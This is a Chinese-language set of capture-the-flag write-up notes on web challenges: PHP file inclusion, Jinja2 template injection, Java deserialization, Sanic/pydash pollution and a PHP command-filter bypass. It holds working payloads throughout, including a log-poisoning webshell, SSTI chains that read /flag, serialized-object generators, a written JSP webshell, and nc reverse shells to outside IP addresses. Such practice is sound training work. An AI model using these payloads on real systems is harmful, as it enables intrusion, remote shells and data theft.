一些做题记录
文件包含部分: web78 无任何过滤:
1 ?file=php:// filter/convert.base64-encode/ resource=flag.php
web79 过滤了php,直接读文件是不行了,考虑data
伪协议执行命令(base64编码):
1 2 ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= // <?php system ('cat flag.php' );
或者:
1 ?f ile=data: //text/plain ,<?= `tac f*` ;?>
就是利用php
里的短标签。<?= ?>
相当于<?php echo ?>
另外str_replace
是区分大小写的:
1 2 3 4 5 6 7 8 9 <?php $file = "phpPHPpHpPhP" ;$file1 = str_replace ("php" , "???" , $file );echo $file1 ;echo '----------------' ;$file2 = str_ireplace ("php" , "???" , $file );echo $file2 ;?>
所以解法还有:
1 2 3 ?f ile=Php ://input POST 执行的数据
web80 过滤了data
和php
的大小写。。这里要用远程包含/日志包含:
日志包含
个人理解就是通过include
和日志文件中的特定内容配合(include把啥东西都当php读)
日志文件常见路径:
1 2 3 /var/ log/apache/ access.log/var/ log/nginx/ access.log/var/ log/nginx/ error.log
只有第二个有正常的回显:
存在UA
头,所以直接把UA
头修改成:
1.<?php system('ls');?>
,<?php system('cat fl0g.php');?>
传过去再刷新下网页就行
2.<?php @eval($_POST['a']); ?>
a=system('cat fl0g.php');
web81 比之前多了个:
,还是上一题的日志包含(主要是禁了input那个方法)。
web82 web88 /i
模式匹配的大小写,=
也被过滤了。这里还是用79
那里的data
伪协议执行命令:
1 2 3 4 PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4= <?php system ('tac fl0g.php' ); ?> ?file=data:
SSTI部分: web361 无任何过滤:
1 ?name= {{config.__class__.__init__.__globals__ ['os'].popen('cat /flag' ).read()}}
web362 同上:
1 ?name= {{config.__class__.__init__.__globals__ ['os'].popen('cat /flag' ).read()}}
web363 应该是过滤了单引号双引号:
头要么用config
,要么用()
,过滤了引号可以(这个单双引号好像没法用十六进制去表示):
把之前payload
中带引号的都放到request.args.path
中就行:
1 ?name= {{config.__class__.__init__.__globals__ [request.args.x1].popen(request.args.x2 ).read()}} &x1=os&x2=cat /flag
web364 应该是在上题的基础上过滤了args
,搜了下还可以用cookie传值
:
参考文章
1 2 3 4 payload ?name= {{x.__init__.__globals__ [request.cookies.x1].eval(request.cookies.x2 )}} cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
这个x当开头第一次见:
config
的话类中__init__函数全局变量中已经导入了”os”模块,可以直接调用。
1 2 3 ?name= {{config.__class__.__init__.__globals__ [request.cookies.x1].popen(request.cookies.x2 ).read()}} //hackbar直接传: Cookie: x1=os;x2=cat /flag //Cookie不用加
web365 在之前的基础上过滤了中括号:
__getitem__
方法是 Python 对象的一个内建方法,当你使用中括号 []
来访问对象的元素时,实际上是调用了这个方法。
对于字典来说,使用 __getitem__
方法,你可以这样获取字典中的键值:
1 2 3 my_dict = {'key1' : 'value1' , 'key2' : 'value2' } result = my_dict.__getitem__('key1' ) print (result)
所以:
1 2 3 ?name= {{config.__class__.__init__.__globals__.__getitem__ (request.cookies.x1 ).popen(request.cookies.x2 ).read()}} //hackbar直接传: Cookie: x1=os;x2=cat /flag //Cookie不用加
web366 过滤了下划线:
参考文章
使用 foo|attr("bar")
可以获取对象 foo
的属性 bar
的值,类似于 foo.bar
的用法。
所以:
1 2 3 ?name= {{(x |attr(request.cookies.x1 )|attr(request.cookies.x2 )|attr(request.cookies.x3 ))(request.cookies.x4 ).eval(request.cookies.x5 )}} Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
简单说还是利用请求参数进行逃逸
web367 同上
web368 又过滤了双大括号,但{%%}
这东西并没有过滤。
参考文章
不过注意要加上print
,不然只会执行命令,没回显。在上一题基础上修改就行:
1 2 3 /?name= {%print ((x |attr(request.cookies.x 1 )|attr(request.cookies.x 2 )|attr(request.cookies.x 3 ))(request.cookies.x 4 ).eval(request.cookies.x 5 ))%} Cookie:x 1 = __init__
还有其它解法(其实就是把上面的拆开了:
1 2 3 name={%set aaa=(x|attr(request.cookies.in )|attr(request.cookies.gl)|attr(request.cookies.ge))(request.cookies.bu)%}{% print (aaa.eval (request.cookies.cmd))%}in =init;gl=globals;ge=getitem;bu=builtins;cmd=import('os' ).popen ('cat /f*' ).read()
web369 又过滤了request
,直接抄了yu师傅的:
1 2 3 4 5 6 7 8 9 10 11 ?name= {% set po=dict(po=a,p=a)| join %} {% set a=(()| select| string| list)| attr(po)(24 )%} {% set ini=(a,a,dict(init=a)| join ,a,a)| join ()%} {% set glo=(a,a,dict(globals=a)| join ,a,a)| join ()%} {% set geti=(a,a,dict(getitem=a)| join ,a,a)| join ()%} {% set built=(a,a,dict(builtins=a)| join ,a,a)| join ()%} {% set x=(q| attr(ini)| attr(glo)| attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(47 )%2 bchr(102 )%2 bchr(108 )%2 bchr(97 )%2 bchr(103 )%} {% print (x.open(file).read())%}
反序列化部分 web254 组件漏洞 web580 838
存在任意文件下载,本来想读/proc/self/environ
看当前工作目录的,结果直接把flag读了:
看web.xml
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app > <display-name > Archetype Created Web Application</display-name > <context-param > <param-name > contextConfigLocation</param-name > <param-value > /WEB-INF/applicationContext.xml</param-value > </context-param > <listener > <listener-class > org.springframework.web.context.ContextLoaderListener</listener-class > </listener > <filter > <filter-name > charset</filter-name > <filter-class > org.springframework.web.filter.CharacterEncodingFilter</filter-class > <init-param > <param-name > encoding</param-name > <param-value > utf-8</param-value > </init-param > </filter > <filter-mapping > <filter-name > charset</filter-name > <url-pattern > /*</url-pattern > </filter-mapping > <servlet > <servlet-name > dispatcher</servlet-name > <servlet-class > org.springframework.web.servlet.DispatcherServlet</servlet-class > <init-param > <param-name > contextConfigLocation</param-name > <param-value > /WEB-INF/dispatcher-servlet.xml</param-value > </init-param > <load-on-startup > 1</load-on-startup > </servlet > <servlet-mapping > <servlet-name > dispatcher</servlet-name > <url-pattern > /</url-pattern > </servlet-mapping > </web-app >
dispatcher-servlet.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc ="http://www.springframework.org/schema/mvc" xmlns:context ="http://www.springframework.org/schema/context" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd" > <context:annotation-config /> <mvc:annotation-driven /> <mvc:resources mapping ="/layui/**" location ="/WEB-INF/static/layui/" /> <mvc:resources mapping ="/images/**" location ="/WEB-INF/static/images/" /> <mvc:resources mapping ="/css/**" location ="/WEB-INF/static/css/" /> <mvc:default-servlet-handler /> <bean id ="defaultViewResolver" class ="org.springframework.web.servlet.view.InternalResourceViewResolver" > <property name ="viewClass" value ="org.springframework.web.servlet.view.JstlView" /> <property name ="prefix" value ="/WEB-INF/views/" /> <property name ="suffix" value =".jsp" /> <property name ="exposeContextBeansAsAttributes" value ="true" /> </bean > <context:component-scan base-package ="com.ctfshow.controller" /> </beans >
包路径com.ctfshow.controller
,控制器文件名IndexController
,下这个IndexController.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package com.ctfshow.controller;import com.ctfshow.entity.User;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;import javax.servlet.http.HttpServletRequest;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.ResponseBody;@Controller @RequestMapping({"/"}) public class IndexController { public IndexController () { } @RequestMapping( value = {"/"}, method = {RequestMethod.GET} ) public String index () { return "index" ; } @RequestMapping( value = {"/"}, method = {RequestMethod.POST} ) @ResponseBody public String index (HttpServletRequest request) { User user = null ; try { byte [] userData = Base64.getDecoder().decode(request.getParameter("userData" )); ObjectInputStream safeObjectInputStream = new ObjectInputStream (new ByteArrayInputStream (userData)); user = (User)safeObjectInputStream.readUnshared(); } catch (ClassNotFoundException var5) { var5.printStackTrace(); return "User class can not unserialize" ; } catch (Exception var6) { var6.printStackTrace(); return "unserialize error" ; } return "unserialize done, you username is " + user.getUsername(); } }
存在反序列化入口,再去下这个User
类:com.ctfshow.entity.User
包中的user.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 package com.ctfshow.entity;import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;import java.lang.reflect.InvocationTargetException;import java.util.Objects;public class User implements Serializable { private static final long serialVersionUID = 1L ; private int id; private String username; private String password; private String email; private String address; public User () { } public int getId () { return this .id; } public void setId (int id) { this .id = id; } public String getUsername () { return this .username; } public void setUsername (String username) { this .username = username; } public String getPassword () { return this .password; } public void setPassword (String password) { this .password = password; } public boolean equals (Object o) { if (this == o) { return true ; } else if (o != null && this .getClass() == o.getClass()) { User user = (User)o; return Objects.equals(this .username, user.username) && Objects.equals(this .password, user.password); } else { return false ; } } public int hashCode () { return Objects.hash(new Object []{this .id, this .username, this .password}); } public String getEmail () { return this .email; } public void setEmail (String email) { this .email = email; } public boolean isNull () { if (null != this .username && !this .username.isEmpty()) { return null == this .password || this .password.isEmpty(); } else { return true ; } } private void readObject (ObjectInputStream input) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { input.defaultReadObject(); Class.forName(this .username).getMethod(this .email, String.class).invoke(Class.forName(this .username).getMethod(this .password).invoke(Class.forName(this .username)), this .address); } }
重写的readObject
存在命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public void exp () throws IOException { User user = new User (); user.setUsername("java.lang.Runtime" ); user.setPassword("getRuntime" ); user.setEmail("exec" ); user.setAddress("nc 172.16.8.233 3333 -e /bin/sh" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream os = new ObjectOutputStream (byteArrayOutputStream); os.writeObject(user); os.close(); String payload = new String (Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())); System.out.println(payload); }
843 下载源码,pom.xml
和properties
没啥好东西,config.class
存在命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public class Config implements Serializable { private static final long serialVersionUID = 1L ; private String name = "" ; private String path = "" ; private String execute; private String[] args; public Config () { } public String getName () { return this .name; } public void setName (String name) { this .name = name; } public String getPath () { return this .path; } public void setPath (String path) { this .path = path; } public String getExecute () { return this .execute; } public void setExecute (String execute) { this .execute = execute; } public String[] getArgs() { return this .args; } public void setArgs (String[] args) { this .args = args; } private void readObject (ObjectInputStream input) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { input.defaultReadObject(); (new ProcessBuilder (this .args)).start(); } }
CookieFilter.class
存在反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 @WebFilter( filterName = "CookieFilter", urlPatterns = {"/*"} ) @Order(Integer.MAX_VALUE) public class CookieFilter implements Filter { public CookieFilter () { } public void init (FilterConfig filterConfig) throws ServletException { } public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String token = CookieUtil.getCookieValue((HttpServletRequest)servletRequest, "token" , true ); if (null != token && token != "" ) { token = URLDecoder.decode(token, "UTF-8" ); token = token.replace(" " , "+" ); byte [] base = Base64.getDecoder().decode(token.getBytes(StandardCharsets.UTF_8)); ObjectInputStream objectInputStream = new ObjectInputStream (new ByteArrayInputStream (base)); try { User user = (User)objectInputStream.readObject(); if (null != user && user.getUsername().equals("admin" )) { servletRequest.setAttribute("user" , user); } } catch (ClassNotFoundException var9) { throw new RuntimeException (var9); } } else { User user = new User ("guest" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(user); String cookieToken = new String (Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())); cookieToken = URLEncoder.encode(cookieToken, "UTF-8" ); CookieUtil.setCookie((HttpServletRequest)servletRequest, (HttpServletResponse)servletResponse, "token" , cookieToken); } filterChain.doFilter(servletRequest, servletResponse); } public void destroy () { } }
反序列化后的那个强转没啥影响,还是先序列化一个恶意的Config
类序列化后传给token
,再反序列化即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package com.ctfshow.entity;import java.io.*;import java.lang.reflect.InvocationTargetException;import java.util.Base64;public class ConfigTest { public static void main (String[] args) throws IOException { Config config = new Config (); config.setArgs(new String []{"/bin/sh" ,"-c" ,"echo '<%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>'>/usr/local/tomcat/webapps/ROOT/1.jsp" }); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(config); System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); objectOutputStream.close(); } }
这里token写过去会报错,可以看到是类型转换出了问题,但对我们解题没啥影响:
然后1.jsp?a=nc 43.132.254.165 9001 -e sh
即可。但这里有个问题,我不知道他这个当前运行目录/usr/local/tomcat/webapps/ROOT/
是怎么拿的,但如果直接>1.jsp
还行不通。。。
上面是wp的解法,其实也不用这么麻烦,既然都能执行命令了直接在ConfigTest
反弹shell就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.ctfshow.entity;import java.io.*;import java.lang.reflect.InvocationTargetException;import java.util.Base64;public class ConfigTest { public static void main (String[] args) throws IOException { Config config = new Config (); config.setArgs(new String []{"/bin/sh" ,"-c" ,"nc 43.129.97.84 9001 -e sh" }); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(config); System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); objectOutputStream.close(); } }
844 给了个web.war
文件,这东西直接解压就能拿META-INF
和WEB-INF
,打开看看:
IndexController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 @Controller @RequestMapping({"/"}) public class IndexController { public IndexController () { } @RequestMapping( value = {"/"}, method = {RequestMethod.GET}, produces = {"text/html;charset=utf-8"} ) public ModelAndView index () { ModelAndView modelAndView = new ModelAndView (); modelAndView.setViewName("index" ); return modelAndView; } @RequestMapping( value = {"/goPage"}, method = {RequestMethod.GET} ) @ResponseBody public String goPage (@RequestParam Map<String, String> param) { String result = "" ; String request = "" ; String url = (String)param.get("url" ); String port = (String)param.get("port" ); if (null != url && null != param && !param.isEmpty()) { try { Socket socket = new Socket (url, Integer.valueOf(port)); OutputStream out = socket.getOutputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (socket.getInputStream(), "UTF-8" )); Map.Entry p; for (Iterator var9 = param.entrySet().iterator(); var9.hasNext(); request = request + (String)p.getKey() + (String)p.getValue() + "\r\n" ) { p = (Map.Entry)var9.next(); } out.write(request.getBytes()); String line; while ((line = in.readLine()) != null ) { result = result + line; } } catch (Exception var11) { var11.printStackTrace(); result = "request error" ; } return result; } else { result = "url error" ; return result; } } }
sanic 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydash app = Sanic(__name__) app.static("/static/" , "./static/" ) Session(app)class Pollute : def __init__ (self ): pass @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return await html.open ('static/index.html' ).read()@app.route("/login" , methods=['POST' ] ) async def login (request ): user = request.cookies.get("user" ) if user and user.lower() == 'adm;n' : request.ctx.session['admin' ] = True return text("login success" ) return text("login fail" )@app.route("/src" ) async def src (request ): return text(open (__file__).read())@app.route("/admin" , methods=['POST' ] ) async def admin (request ): if request.ctx.session.get('admin' ) == True : try : data = request.json key = data.get('key' ) value = data.get('value' ) if key and value and isinstance (key, str ) and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : return text("forbidden" ) except Exception as e: print (f"Exception in admin route: {e} " ) return text("error" ) else : return text("forbidden" )if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 )
先看/login
路由:
他会把cookie
字段中user
对应的值转成小写之后和adm;n
比较,如果相等会把请求会话中admin
的值设为True
,这里因为有个分号所以给user
字段赋值的时候不能直接赋成分号。
一开始以为问题出在lower
这个方法上了,以为什么特殊字符lower
后直接变成分号了。捣鼓了半天没弄出来,看了其它师傅的wp才知道这里用个八进制编码就行:
参考文章
simple_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set ('open_basedir' , '/var/www/html/' );error_reporting (0 );if (isset ($_POST ['cmd' ])){ $cmd = escapeshellcmd ($_POST ['cmd' ]); if (!preg_match ('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i' , $cmd )) { system ($cmd ); } }show_source (__FILE__ );?>
dd
和hexdump
没被ban,这两个都能读/etc/passwd
:
cmd=dd if=/etc/passwd
(注意倒数第二个mysql
用户)
cmd=hexdump /etc/passwd
mysql --version
可以确认存在数据库服务:
1 mysql Ver 15 .1 Distrib 10 .4 .13 -MariaDB, for Linux (x86_64) using readline 5 .
弱口令用户名 root
密码 root
, 连接到 MySQL 数据库。导出所有数据库的内容然后嗯搜flag
:
1 cmd = mysqldump -uroot -proot --all-databases
学了些其他师傅的解法.
首先利用burpsuite
传参(利用%0a换行符)能进行命令执行:
或者通过反弹shell
:参考文章